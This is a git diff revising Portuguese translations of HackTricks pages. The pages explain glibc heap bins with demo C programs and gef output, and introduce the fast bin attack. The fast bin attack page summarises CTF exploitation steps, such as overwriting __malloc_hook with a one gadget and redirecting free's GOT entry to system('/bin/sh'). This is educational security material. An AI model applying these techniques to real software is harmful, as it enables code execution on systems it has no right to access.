-Quando um **pedaço é alocado**, se houver um pedaço livre do tamanho necessário no **Tcache, ele o usará**, caso contrário, precisará esperar pelo bloqueio do heap para poder encontrar um nos bins globais ou criar um novo.\ -Há também uma otimização, nesse caso, enquanto tiver o bloqueio do heap, o thread **preencherá seu Tcache com pedaços do heap (7) do tamanho solicitado**, para que, caso precise de mais, os encontre no Tcache. +Quando um **chunk é alocado**, se houver um chunk livre do tamanho necessário no **Tcache, ele o usará**, se não, precisará esperar pelo bloqueio do heap para poder encontrar um nos bins globais ou criar um novo.\ +Há também uma otimização, nesse caso, enquanto tiver o bloqueio do heap, a thread **preencherá seu Tcache com chunks do heap (7) do tamanho solicitado**, para que, caso precise de mais, os encontre no Tcache.
-Adicionar um exemplo de pedaço tcache +Add a tcache chunk example ```c #include #include @@ -49,7 +49,7 @@ free(chunk); return 0; } ``` -Compile-o e depure-o com um breakpoint no opcode ret da função main. então com o gef você pode ver o tcache bin em uso: +Compile-o e depure-o com um ponto de interrupção no opcode ret da função main. então, com gef, você pode ver o bin tcache em uso: ```bash gef➤ heap bins ──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ──────────────────────────────────────────────────────────────────────────────── @@ -57,9 +57,9 @@ Tcachebins[idx=0, size=0x20, count=1] ← Chunk(addr=0xaaaaaaac12a0, size=0x20, ```
-#### Estruturas e Funções do Tcache +#### Estruturas e Funções Tcache -No código a seguir, é possível ver o **número máximo de bins** e **chunks por índice**, a struct **`tcache_entry`** criada para evitar frees duplos e **`tcache_perthread_struct`**, uma struct que cada thread usa para armazenar os endereços de cada índice do bin. +No código a seguir, é possível ver os **max bins** e **chunks por índice**, a estrutura **`tcache_entry`** criada para evitar double frees e **`tcache_perthread_struct`**, uma estrutura que cada thread usa para armazenar os endereços de cada índice do bin.
@@ -116,6 +116,10 @@ tcache_entry *entries[TCACHE_MAX_BINS];
A função `__tcache_init` é a função que cria e aloca o espaço para o objeto `tcache_perthread_struct` + +
+ +código tcache_init ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L3241C1-L3274C2 @@ -158,23 +162,23 @@ memset (tcache, 0, sizeof (tcache_perthread_struct)); #### Índices Tcache -O tcache possui vários bins dependendo do tamanho e os ponteiros iniciais para o **primeiro chunk de cada índice e a quantidade de chunks por índice estão localizados dentro de um chunk**. Isso significa que ao localizar o chunk com essas informações (geralmente o primeiro), é possível encontrar todos os pontos iniciais do tcache e a quantidade de chunks do Tcache. +O tcache possui vários bins dependendo do tamanho e os ponteiros iniciais para o **primeiro chunk de cada índice e a quantidade de chunks por índice estão localizados dentro de um chunk**. Isso significa que, ao localizar o chunk com essa informação (geralmente o primeiro), é possível encontrar todos os pontos iniciais do tcache e a quantidade de chunks do Tcache. ### Bins Rápidos -Os bins rápidos são projetados para **acelerar a alocação de memória para pequenos chunks** mantendo chunks recentemente liberados em uma estrutura de acesso rápido. Esses bins usam uma abordagem Last-In, First-Out (LIFO), o que significa que o **chunk mais recentemente liberado é o primeiro** a ser reutilizado quando há uma nova solicitação de alocação. Esse comportamento é vantajoso para a velocidade, pois é mais rápido inserir e remover do topo de uma pilha (LIFO) em comparação com uma fila (FIFO). +Os bins rápidos são projetados para **acelerar a alocação de memória para pequenos chunks** mantendo chunks recentemente liberados em uma estrutura de acesso rápido. Esses bins usam uma abordagem Last-In, First-Out (LIFO), o que significa que o **chunk mais recentemente liberado é o primeiro** a ser reutilizado quando há um novo pedido de alocação. Esse comportamento é vantajoso para a velocidade, pois é mais rápido inserir e remover do topo de uma pilha (LIFO) em comparação com uma fila (FIFO). -Além disso, **os bins rápidos usam listas encadeadas simples**, não duplamente encadeadas, o que melhora ainda mais a velocidade. Como os chunks nos bins rápidos não são mesclados com vizinhos, não há necessidade de uma estrutura complexa que permita a remoção do meio. Uma lista encadeada simples é mais simples e rápida para essas operações. +Além disso, **bins rápidos usam listas encadeadas simples**, não duplamente encadeadas, o que melhora ainda mais a velocidade. Como os chunks em bins rápidos não são mesclados com vizinhos, não há necessidade de uma estrutura complexa que permita a remoção do meio. Uma lista encadeada simples é mais simples e rápida para essas operações. -Basicamente, o que acontece aqui é que o cabeçalho (o ponteiro para o primeiro chunk a ser verificado) está sempre apontando para o chunk liberado mais recentemente desse tamanho. Então: +Basicamente, o que acontece aqui é que o cabeçalho (o ponteiro para o primeiro chunk a ser verificado) está sempre apontando para o último chunk liberado daquele tamanho. Então: * Quando um novo chunk é alocado desse tamanho, o cabeçalho está apontando para um chunk livre para usar. Como esse chunk livre está apontando para o próximo a ser usado, esse endereço é armazenado no cabeçalho para que a próxima alocação saiba onde obter um chunk disponível. -* Quando um chunk é liberado, o chunk livre salvará o endereço para o chunk disponível atual e o endereço para esse novo chunk liberado será colocado no cabeçalho. +* Quando um chunk é liberado, o chunk livre salvará o endereço do chunk atualmente disponível e o endereço desse chunk recém-liberado será colocado no cabeçalho. -O tamanho máximo de uma lista encadeada é `0x80` e elas são organizadas de modo que um chunk de tamanho `0x20` estará no índice `0`, um chunk de tamanho `0x30` estará no índice `1`... +O tamanho máximo de uma lista encadeada é `0x80` e elas são organizadas de modo que um chunk de tamanho `0x20` estará no índice `0`, um chunk de tamanho `0x30` estaria no índice `1`... {% hint style="danger" %} -Chunks nos bins rápidos não são definidos como disponíveis, então eles são mantidos como chunks de bin rápido por algum tempo em vez de poderem ser mesclados com outros chunks livres ao redor deles. +Chunks em bins rápidos não são definidos como disponíveis, portanto, são mantidos como chunks de bin rápido por algum tempo em vez de poderem ser mesclados com outros chunks livres ao seu redor. {% endhint %} ```c // From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711 @@ -239,9 +243,9 @@ free(chunks[i]); return 0; } ``` -Observe como alocamos e liberamos 8 pedaços do mesmo tamanho para que preencham o tcache e o oitavo seja armazenado no fast chunk. +Note como alocamos e liberamos 8 chunks do mesmo tamanho para que eles preencham o tcache e o oitavo é armazenado no fast chunk. -Compile e depure com um breakpoint no opcode `ret` da função `main`. Em seguida, com o `gef`, você pode ver que o bin tcache está cheio e um pedaço está no fast bin: +Compile-o e depure-o com um breakpoint no opcode `ret` da função `main`. Então, com `gef`, você pode ver que o bin do tcache está cheio e um chunk está no fast bin: ```bash gef➤ heap bins ──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ──────────────────────────────────────────────────────────────────────────────── @@ -252,18 +256,18 @@ Fastbins[idx=1, size=0x30] 0x00 ```
-### Bin não ordenado +### Unsorted bin -O bin não ordenado é um **cache** usado pelo gerenciador de heap para tornar a alocação de memória mais rápida. Veja como funciona: Quando um programa libera um pedaço de memória e se esse pedaço não pode ser alocado em um tcache ou fast bin e não está colidindo com o chunk superior, o gerenciador de heap não o coloca imediatamente em um bin específico pequeno ou grande. Em vez disso, ele primeiro tenta **fundir com quaisquer chunks livres vizinhos** para criar um bloco maior de memória livre. Em seguida, ele coloca esse novo chunk em um bin geral chamado "bin não ordenado". +O unsorted bin é um **cache** usado pelo gerenciador de heap para tornar a alocação de memória mais rápida. Veja como funciona: Quando um programa libera um chunk, e se esse chunk não pode ser alocado em um tcache ou fast bin e não está colidindo com o top chunk, o gerenciador de heap não o coloca imediatamente em um bin pequeno ou grande específico. Em vez disso, ele primeiro tenta **mesclar com quaisquer chunks livres vizinhos** para criar um bloco maior de memória livre. Em seguida, coloca esse novo chunk em um bin geral chamado "unsorted bin." -Quando um programa **solicita memória**, o gerenciador de heap **verifica o bin não ordenado** para ver se há um chunk de tamanho suficiente. Se encontrar, ele o utiliza imediatamente. Se não encontrar um chunk adequado no bin não ordenado, ele move todos os chunks nesta lista para seus bins correspondentes, seja pequeno ou grande, com base em seu tamanho. +Quando um programa **pede memória**, o gerenciador de heap **verifica o unsorted bin** para ver se há um chunk de tamanho suficiente. Se encontrar um, ele o utiliza imediatamente. Se não encontrar um chunk adequado no unsorted bin, ele move todos os chunks dessa lista para seus bins correspondentes, seja pequeno ou grande, com base em seu tamanho. -Observe que se um chunk maior for dividido em 2 metades e o restante for maior que MINSIZE, ele será colocado de volta no bin não ordenado. +Note que se um chunk maior for dividido em 2 metades e o restante for maior que MINSIZE, ele será colocado de volta no unsorted bin. -Portanto, o bin não ordenado é uma maneira de acelerar a alocação de memória reutilizando rapidamente a memória liberada recentemente e reduzindo a necessidade de pesquisas e fusões demoradas. +Assim, o unsorted bin é uma maneira de acelerar a alocação de memória reutilizando rapidamente a memória recentemente liberada e reduzindo a necessidade de buscas e mesclagens demoradas. {% hint style="danger" %} -Observe que mesmo que os chunks sejam de categorias diferentes, se um chunk disponível estiver colidindo com outro chunk disponível (mesmo que originalmente pertençam a bins diferentes), eles serão fundidos. +Note que mesmo que os chunks sejam de categorias diferentes, se um chunk disponível estiver colidindo com outro chunk disponível (mesmo que originalmente pertençam a bins diferentes), eles serão mesclados. {% endhint %}
@@ -296,9 +300,9 @@ free(chunks[i]); return 0; } ``` -Observe como alocamos e liberamos 9 pedaços do mesmo tamanho para que **preencham o tcache** e o oitavo seja armazenado no unsorted bin porque é **muito grande para o fastbin** e o nono não é liberado, então o nono e o oitavo **não são mesclados com o top chunk**. +Note como alocamos e liberamos 9 chunks do mesmo tamanho para que eles **preencham o tcache** e o oitavo é armazenado no bin não ordenado porque é **grande demais para o fastbin** e o nono não é liberado, então o nono e o oitavo **não são mesclados com o chunk superior**. -Compile e depure com um breakpoint no opcode `ret` da função `main`. Em seguida, com o `gef`, você pode ver que o bin tcache está cheio e um pedaço está no unsorted bin: +Compile-o e depure-o com um breakpoint no opcode `ret` da função `main`. Então, com `gef`, você pode ver que o bin do tcache está cheio e um chunk está no bin não ordenado: ```bash gef➤ heap bins ──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ──────────────────────────────────────────────────────────────────────────────── @@ -318,16 +322,16 @@ Fastbins[idx=6, size=0x80] 0x00 ```
-### Bins Pequenos +### Small Bins -Os bins pequenos são mais rápidos do que os bins grandes, mas mais lentos do que os bins rápidos. +Small bins são mais rápidos que large bins, mas mais lentos que fast bins. -Cada bin dos 62 terá **pedaços do mesmo tamanho**: 16, 24, ... (com um tamanho máximo de 504 bytes em 32 bits e 1024 em 64 bits). Isso ajuda na velocidade de encontrar o bin onde um espaço deve ser alocado e na inserção e remoção de entradas nessas listas. +Cada bin dos 62 terá **chunks do mesmo tamanho**: 16, 24, ... (com um tamanho máximo de 504 bytes em 32 bits e 1024 em 64 bits). Isso ajuda na velocidade de encontrar o bin onde um espaço deve ser alocado e na inserção e remoção de entradas nessas listas. -Assim é calculado o tamanho do bin pequeno de acordo com o índice do bin: +Assim é como o tamanho do small bin é calculado de acordo com o índice do bin: -* Menor tamanho: 2\*4\*índice (por exemplo, índice 5 -> 40) -* Maior tamanho: 2\*8\*índice (por exemplo, índice 5 -> 80) +* Tamanho menor: 2\*4\*índice (por exemplo, índice 5 -> 40) +* Tamanho maior: 2\*8\*índice (por exemplo, índice 5 -> 80) ```c // From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711 #define NSMALLBINS 64 @@ -349,7 +353,7 @@ Função para escolher entre bins pequenos e grandes: ```
-Adicionar um exemplo de pequeno chunk +Adicionar um pequeno exemplo de chunk ```c #include #include @@ -379,9 +383,9 @@ chunks[9] = malloc(0x110); return 0; } ``` -Observe como alocamos e liberamos 9 pedaços do mesmo tamanho para que **preencham o tcache** e o oitavo seja armazenado no unsorted bin porque é **muito grande para o fastbin** e o nono não é liberado, então o nono e o oitavo **não são mesclados com o top chunk**. Em seguida, alocamos um pedaço maior de 0x110, o que faz com que **o pedaço no unsorted bin vá para o small bin**. +Note como alocamos e liberamos 9 chunks do mesmo tamanho para que eles **preencham o tcache** e o oitavo é armazenado no bin não ordenado porque é **grande demais para o fastbin** e o nono não é liberado, então o nono e o oitavo **não são mesclados com o chunk superior**. Em seguida, alocamos um chunk maior de 0x110, o que faz **o chunk no bin não ordenado ir para o small bin**. -Compile e depure com um breakpoint no opcode `ret` da função `main`. Em seguida, com o `gef`, você pode ver que o bin tcache está cheio e um pedaço está no small bin: +Compile e depure com um breakpoint no opcode `ret` da função `main`. Então, com `gef`, você pode ver que o bin do tcache está cheio e um chunk está no small bin: ```bash gef➤ heap bins ──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ──────────────────────────────────────────────────────────────────────────────── @@ -403,26 +407,26 @@ Fastbins[idx=6, size=0x80] 0x00 ```
-### Bins grandes +### Grandes bins -Ao contrário dos bins pequenos, que gerenciam pedaços de tamanhos fixos, cada **bin grande lida com uma faixa de tamanhos de pedaços**. Isso é mais flexível, permitindo que o sistema acomode **vários tamanhos** sem precisar de um bin separado para cada tamanho. +Ao contrário dos pequenos bins, que gerenciam pedaços de tamanhos fixos, cada **grande bin lida com uma faixa de tamanhos de pedaços**. Isso é mais flexível, permitindo que o sistema acomode **vários tamanhos** sem precisar de um bin separado para cada tamanho. -Em um alocador de memória, os bins grandes começam onde os bins pequenos terminam. As faixas para os bins grandes crescem progressivamente, o que significa que o primeiro bin pode abranger pedaços de 512 a 576 bytes, enquanto o próximo abrange de 576 a 640 bytes. Esse padrão continua, com o bin maior contendo todos os pedaços acima de 1MB. +Em um alocador de memória, os grandes bins começam onde os pequenos bins terminam. As faixas para grandes bins crescem progressivamente, o que significa que o primeiro bin pode cobrir pedaços de 512 a 576 bytes, enquanto o próximo cobre de 576 a 640 bytes. Esse padrão continua, com o maior bin contendo todos os pedaços acima de 1MB. -Os bins grandes são mais lentos de operar em comparação com os bins pequenos porque eles precisam **ordenar e pesquisar em uma lista de tamanhos de pedaços variados para encontrar o melhor encaixe** para uma alocação. Quando um pedaço é inserido em um bin grande, ele precisa ser ordenado, e quando a memória é alocada, o sistema deve encontrar o pedaço certo. Esse trabalho extra os torna **mais lentos**, mas como alocações grandes são menos comuns do que as pequenas, é uma troca aceitável. +Os grandes bins são mais lentos para operar em comparação com os pequenos bins porque eles devem **classificar e pesquisar em uma lista de tamanhos de pedaços variados para encontrar o melhor ajuste** para uma alocação. Quando um pedaço é inserido em um grande bin, ele precisa ser classificado, e quando a memória é alocada, o sistema deve encontrar o pedaço certo. Esse trabalho extra os torna **mais lentos**, mas como as alocações grandes são menos comuns do que as pequenas, é uma troca aceitável. Existem: -* 32 bins de 64B de faixa (colidem com os bins pequenos) -* 16 bins de 512B de faixa (colidem com os bins pequenos) -* 8 bins de 4096B de faixa (parte colide com os bins pequenos) -* 4 bins de 32768B de faixa -* 2 bins de 262144B de faixa +* 32 bins de faixa de 64B (colidem com pequenos bins) +* 16 bins de faixa de 512B (colidem com pequenos bins) +* 8 bins de faixa de 4096B (parte colide com pequenos bins) +* 4 bins de faixa de 32768B +* 2 bins de faixa de 262144B * 1 bin para tamanhos restantes
-Código dos tamanhos dos bins grandes +Código de tamanhos de grandes bins ```c // From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711 @@ -462,7 +466,7 @@ Existem:
-Adicione um exemplo de grande bloco +Adicionar um exemplo de grande bloco ```c #include #include @@ -479,9 +483,9 @@ chunks[0] = malloc(0x2000); return 0; } ``` -Duas grandes alocações são realizadas, em seguida uma é liberada (colocando-a no bin não ordenado) e uma alocação maior é feita (movendo a liberada do bin não ordenado para o bin grande). +2 grandes alocações são realizadas, então uma é liberada (colocando-a no bin não ordenado) e uma alocação maior é feita (movendo a liberada do bin não ordenado para o bin grande). -Compile e depure com um breakpoint no opcode `ret` da função `main`. Então com `gef` você pode ver que o bin tcache está cheio e um chunk está no bin grande: +Compile e depure com um breakpoint no opcode `ret` da função `main`. Então, com `gef`, você pode ver que o bin tcache está cheio e um chunk está no bin grande: ```bash gef➤ heap bin ──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ──────────────────────────────────────────────────────────────────────────────── @@ -505,7 +509,7 @@ Fastbins[idx=6, size=0x80] 0x00 ```
-### Maior Fragmento +### Top Chunk ```c // From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711 @@ -530,9 +534,10 @@ the 2 preceding words to be zero during this interval as well.) /* Conveniently, the unsorted bin can be used as dummy top on first call */ #define initial_top(M) (unsorted_chunks (M)) ``` -Basicamente, este é um pedaço contendo toda a heap atualmente disponível. Quando um malloc é executado, se não houver nenhum pedaço livre disponível para usar, este pedaço superior reduzirá seu tamanho fornecendo o espaço necessário. O ponteiro para o Top Chunk é armazenado na estrutura `malloc_state`. +Basicamente, este é um chunk que contém toda a heap atualmente disponível. Quando um malloc é realizado, se não houver nenhum chunk livre disponível para usar, este top chunk reduzirá seu tamanho, dando o espaço necessário.\ +O ponteiro para o Top Chunk é armazenado na struct `malloc_state`. -Além disso, no início, é possível usar o pedaço não ordenado como o pedaço superior. +Além disso, no início, é possível usar o chunk não ordenado como o top chunk.
@@ -550,7 +555,7 @@ gets(chunk); return 0; } ``` -Depois de compilar e depurar com um ponto de interrupção no opcode `ret` de `main`, vi que o malloc retornou o endereço `0xaaaaaaac12a0` e estes são os chunks: +Após compilar e depurar com um ponto de interrupção no opcode `ret` de `main`, vi que o malloc retornou o endereço `0xaaaaaaac12a0` e estes são os chunks: ```bash gef➤ heap chunks Chunk(addr=0xaaaaaaac1010, size=0x290, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) @@ -563,8 +568,8 @@ Chunk(addr=0xaaaaaaac16d0, size=0x410, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ [0x0000aaaaaaac16d0 41 41 41 41 41 41 41 0a 00 00 00 00 00 00 00 00 AAAAAAA.........] Chunk(addr=0xaaaaaaac1ae0, size=0x20530, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) ← top chunk ``` -Onde pode ser visto que o chunk superior está no endereço `0xaaaaaaac1ae0`. Isso não é surpresa porque o último chunk alocado estava em `0xaaaaaaac12a0` com um tamanho de `0x410` e `0xaaaaaaac12a0 + 0x410 = 0xaaaaaaac1ae0`.\ -Também é possível ver o tamanho do chunk superior no seu cabeçalho de chunk: +Onde pode-se ver que o top chunk está no endereço `0xaaaaaaac1ae0`. Isso não é surpresa porque o último chunk alocado estava em `0xaaaaaaac12a0` com um tamanho de `0x410` e `0xaaaaaaac12a0 + 0x410 = 0xaaaaaaac1ae0`.\ +Também é possível ver o comprimento do Top chunk em seu cabeçalho de chunk: ```bash gef➤ x/8wx 0xaaaaaaac1ae0 - 16 0xaaaaaaac1ad0: 0x00000000 0x00000000 0x00020531 0x00000000 @@ -574,7 +579,7 @@ gef➤ x/8wx 0xaaaaaaac1ae0 - 16 ### Último Resto -Quando o malloc é usado e um chunk é dividido (do unsorted bin ou do top chunk, por exemplo), o chunk criado a partir do restante do chunk dividido é chamado de Último Resto e seu ponteiro é armazenado na estrutura `malloc_state`. +Quando malloc é usado e um chunk é dividido (do bin não ordenado ou do chunk superior, por exemplo), o chunk criado a partir do restante do chunk dividido é chamado de Último Resto e seu ponteiro é armazenado na struct `malloc_state`. ## Fluxo de Alocação @@ -594,7 +599,7 @@ Confira: ## Verificações de Segurança das Funções de Heap -Verifique as verificações de segurança realizadas por funções amplamente utilizadas no heap em: +Verifique as verificações de segurança realizadas por funções amplamente utilizadas em heap em: {% content-ref url="heap-memory-functions/heap-functions-security-checks.md" %} [heap-functions-security-checks.md](heap-memory-functions/heap-functions-security-checks.md) @@ -613,11 +618,11 @@ Aprenda e pratique Hacking GCP: -Suporte ao HackTricks +Support HackTricks * Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %} diff --git a/binary-exploitation/libc-heap/double-free.md b/binary-exploitation/libc-heap/double-free.md index c670455d0..16d5e2c8c 100644 --- a/binary-exploitation/libc-heap/double-free.md +++ b/binary-exploitation/libc-heap/double-free.md @@ -1,16 +1,16 @@ # Double Free {% hint style="success" %} -Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks -* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
{% endhint %} @@ -19,9 +19,9 @@ Learn & practice GCP Hacking: #include diff --git a/binary-exploitation/libc-heap/fast-bin-attack.md b/binary-exploitation/libc-heap/fast-bin-attack.md index ddb6b1b5c..14a38467f 100644 --- a/binary-exploitation/libc-heap/fast-bin-attack.md +++ b/binary-exploitation/libc-heap/fast-bin-attack.md @@ -1,31 +1,31 @@ -# Ataque Fast Bin +# Fast Bin Attack {% hint style="success" %} -Aprenda e pratique Hacking na AWS: [**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking no GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Suporte ao HackTricks +Support HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %} -## Informações Básicas +## Basic Information -Para mais informações sobre o que é um fast bin, consulte esta página: +Para mais informações sobre o que é um fast bin, confira esta página: {% content-ref url="bins-and-memory-allocations.md" %} [bins-and-memory-allocations.md](bins-and-memory-allocations.md) {% endcontent-ref %} -Como o fast bin é uma lista encadeada simples, há muito menos proteções do que em outros bins e apenas **modificar um endereço em um chunk fast bin liberado** é suficiente para poder **alocar posteriormente um chunk em qualquer endereço de memória**. +Como o fast bin é uma lista encadeada simples, há muito menos proteções do que em outros bins e apenas **modificar um endereço em um chunk de fast bin liberado** é suficiente para poder **alocar depois um chunk em qualquer endereço de memória**. -Em resumo: +Como resumo: {% code overflow="wrap" %} ```c @@ -135,30 +135,30 @@ printf("\n\nJust like that, we executed a fastbin attack to allocate an address } ``` {% hint style="danger" %} -Se for possível sobrescrever o valor da variável global **`global_max_fast`** com um número grande, isso permite gerar pedaços de fast bin de tamanhos maiores, potencialmente permitindo realizar ataques de fast bin em cenários onde anteriormente não era possível. Essa situação é útil no contexto do [ataque large bin](large-bin-attack.md) e [ataque unsorted bin](unsorted-bin-attack.md). +Se for possível sobrescrever o valor da variável global **`global_max_fast`** com um número grande, isso permite gerar chunks de fast bin de tamanhos maiores, potencialmente permitindo realizar ataques de fast bin em cenários onde não era possível anteriormente. Essa situação é útil no contexto do [ataque de large bin](large-bin-attack.md) e [ataque de unsorted bin](unsorted-bin-attack.md) {% endhint %} ## Exemplos * **CTF** [**https://guyinatuxedo.github.io/28-fastbin\_attack/0ctf\_babyheap/index.html**](https://guyinatuxedo.github.io/28-fastbin\_attack/0ctf\_babyheap/index.html)**:** -* É possível alocar pedaços, liberá-los, ler seus conteúdos e preenchê-los (com uma vulnerabilidade de overflow). -* **Consolidar pedaço para vazamento de informações**: A técnica consiste basicamente em abusar do overflow para criar um `prev_size` falso para que um pedaço anterior seja colocado dentro de um maior, de modo que ao alocar o maior contendo outro pedaço, seja possível imprimir seus dados e vazar um endereço para o libc (`main_arena+88`). -* **Sobrescrever o hook do malloc**: Para isso, e abusando da situação de sobreposição anterior, foi possível ter 2 pedaços apontando para a mesma memória. Portanto, liberando ambos (liberando outro pedaço no meio para evitar proteções), foi possível ter o mesmo pedaço no fast bin 2 vezes. Em seguida, foi possível alocá-lo novamente, sobrescrever o endereço para o próximo pedaço para apontar um pouco antes de `__malloc_hook` (para que aponte para um inteiro que o malloc pensa ser um tamanho livre - outra forma de bypass), alocá-lo novamente e então alocar outro pedaço que receberá um endereço para os hooks do malloc.\ +* É possível alocar chunks, liberá-los, ler seu conteúdo e preenchê-los (com uma vulnerabilidade de overflow). +* **Consolidar chunk para infoleak**: A técnica é basicamente abusar do overflow para criar um `prev_size` falso, de modo que um chunk anterior seja colocado dentro de um maior, assim, ao alocar o maior contendo outro chunk, é possível imprimir seus dados e vazar um endereço para libc (`main_arena+88`). +* **Sobrescrever malloc hook**: Para isso, e abusando da situação de sobreposição anterior, foi possível ter 2 chunks que apontavam para a mesma memória. Portanto, liberando ambos (liberando outro chunk no meio para evitar proteções) foi possível ter o mesmo chunk no fast bin 2 vezes. Então, foi possível alocá-lo novamente, sobrescrever o endereço do próximo chunk para apontar um pouco antes de `__malloc_hook` (para que aponte para um inteiro que malloc pensa ser um tamanho livre - outro bypass), alocá-lo novamente e então alocar outro chunk que receberá um endereço para malloc hooks.\ Finalmente, um **one gadget** foi escrito lá. * **CTF** [**https://guyinatuxedo.github.io/28-fastbin\_attack/csaw17\_auir/index.html**](https://guyinatuxedo.github.io/28-fastbin\_attack/csaw17\_auir/index.html)**:** -* Há um overflow de heap e uso após liberação e liberação dupla porque quando um pedaço é liberado é possível reutilizar e liberar novamente os ponteiros. -* **Vazamento de informações do libc**: Basta liberar alguns pedaços e eles receberão um ponteiro para uma parte da localização da main arena. Como é possível reutilizar ponteiros liberados, basta ler este endereço. -* **Ataque de fast bin**: Todos os ponteiros para as alocações são armazenados dentro de um array, então podemos liberar alguns pedaços de fast bin e no último sobrescrever o endereço para apontar um pouco antes deste array de ponteiros. Em seguida, alocar alguns pedaços com o mesmo tamanho e obteremos primeiro o legítimo e depois o falso contendo o array de ponteiros. Agora podemos sobrescrever esses ponteiros de alocação para fazer o endereço GOT de `free` apontar para `system` e então escrever `"/bin/sh"` no pedaço 1 para então chamar `free(chunk1)` que em vez disso executará `system("/bin/sh")`. +* Há um overflow de heap e uso após liberação e double free porque, quando um chunk é liberado, é possível reutilizar e re-liberar os ponteiros. +* **Libc info leak**: Basta liberar alguns chunks e eles obterão um ponteiro para uma parte da localização da main arena. Como você pode reutilizar ponteiros liberados, basta ler este endereço. +* **Ataque de fast bin**: Todos os ponteiros para as alocações são armazenados dentro de um array, então podemos liberar alguns chunks de fast bin e, no último, sobrescrever o endereço para apontar um pouco antes deste array de ponteiros. Então, alocamos alguns chunks com o mesmo tamanho e obteremos primeiro o legítimo e depois o falso contendo o array de ponteiros. Agora podemos sobrescrever esses ponteiros de alocação para fazer o endereço GOT de `free` apontar para `system` e então escrever `"/bin/sh"` no chunk 1 para então chamar `free(chunk1)`, que em vez disso executará `system("/bin/sh")`. * **CTF** [**https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw19\_traveller/index.html**](https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw19\_traveller/index.html) -* Outro exemplo de abuso de um overflow de um byte para consolidar pedaços no unsorted bin e obter um vazamento de informações do libc e em seguida realizar um ataque de fast bin para sobrescrever o hook do malloc com um endereço de one gadget +* Outro exemplo de abusar de um 